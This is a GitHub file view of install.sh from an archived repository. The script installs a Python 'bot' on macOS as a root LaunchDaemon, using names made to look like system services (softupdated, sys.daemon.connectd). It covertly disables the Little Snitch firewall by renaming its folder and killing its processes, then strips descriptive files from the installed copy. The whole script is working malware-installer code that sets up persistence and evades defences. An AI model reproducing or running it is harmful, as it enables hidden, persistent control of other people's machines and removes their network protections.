This repository has been archived by the owner on Feb 1, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 31
/
install.sh
executable file
·73 lines (56 loc) · 3.36 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/bash
echo Start of update.
successful=0
mkdir -p /private/var/softupdated && successful=1
echo [+] Starting: `date` >> /private/var/softupdated/update.log 2>&1
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd "$DIR" >> /private/var/softupdated/update.log 2>&1
### unload previous install
echo [+] Unloading Bot... >> /private/var/softupdated/update.log 2>&1
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'`
kill -KILL $pid > /dev/null 2>&1
launchctl unload -w /Library/LaunchDaemons/sys.daemon.connectd.plist && echo [X] Unloaded Bot. >> /private/var/softupdated/update.log 2>&1
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'`
kill -KILL $pid > /dev/null 2>&1
### copy libraries and binaries to corresponding locations
echo [+] Copying Files... >> /private/var/softupdated/update.log 2>&1
mkdir -p /private/var/softupdated >> /private/var/softupdated/update.log 2>&1
cp -fR ./* /private/var/softupdated/ >> /private/var/softupdated/update.log 2>&1 && successful+=1
chmod -R +x /private/var/softupdated >> /private/var/softupdated/update.log 2>&1
rm -f /private/var/softupdated/README.md >> /private/var/softupdated/update.log 2>&1
rm -Rf /private/var/softupdated/applet.rsrc >> /private/var/softupdated/update.log 2>&1
rm -f /private/var/softupdated/*.icns >> /private/var/softupdated/update.log 2>&1
rm -f /private/var/softupdated/*.sublime* >> /private/var/softupdated/update.log 2>&1
rm -Rf /private/var/softupdated/description.rtfd >> /private/var/softupdated/update.log 2>&1
echo [+] Files Copied. >> /private/var/softupdated/update.log 2>&1
echo Copied 1/2
### Disable little snitch
if [ -e "/Library/Little Snitch" ]
then
echo [+] Disabling Little Snitch... >> /private/var/softupdated/update.log 2>&1
mv "/Library/Little Snitch" "/Library/Little Snitch Monitor" >> /private/var/softupdated/update.log 2>&1
killall "Little Snitch Agent" >> /private/var/softupdated/update.log 2>&1
killall "Little Snitch Daemon" >> /private/var/softupdated/update.log 2>&1
killall "Little Snitch Network Monitor" >> /private/var/softupdated/update.log 2>&1
fi
### copy launchd scripts to launchd folder
echo [+] Copying Launch Scripts... >> /private/var/softupdated/update.log 2>&1
cp -f ./sys.daemon.connectd.plist /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/update.log 2>&1 && successful+=1
chown -R root /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/update.log 2>&1
chmod -R 644 /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/update.log 2>&1
chmod -R 700 /private/var/softupdated >> /private/var/softupdated/update.log 2>&1
echo [+] Launch Scripts Copied. >> /private/var/softupdated/update.log 2>&1
echo Copied 2/2
### For in-place updates
### load launchd keepalive processes
echo [+] Loading Bot... >> /private/var/softupdated/update.log 2>&1
launchctl load -w /Library/LaunchDaemons/sys.daemon.connectd.plist && echo [√] Loaded Bot. >> /private/var/softupdated/update.log 2>&1 || python /var/softupdated/bot.py &
if [ -e "/var/softupdated/bot.py" -a -e "/var/softupdated/modules/logging.py" -a "$successful" -eq "111" ]
then
echo [+] FINISHED: `date` >> /private/var/softupdated/update.log 2>&1
echo Finished
else
echo [X] ERROR: Install failed, please resolve manually. `date` >> /private/var/softupdated/update.log 2>&1
echo ERROR: Install failed, please resolve manually.
fi
exit 0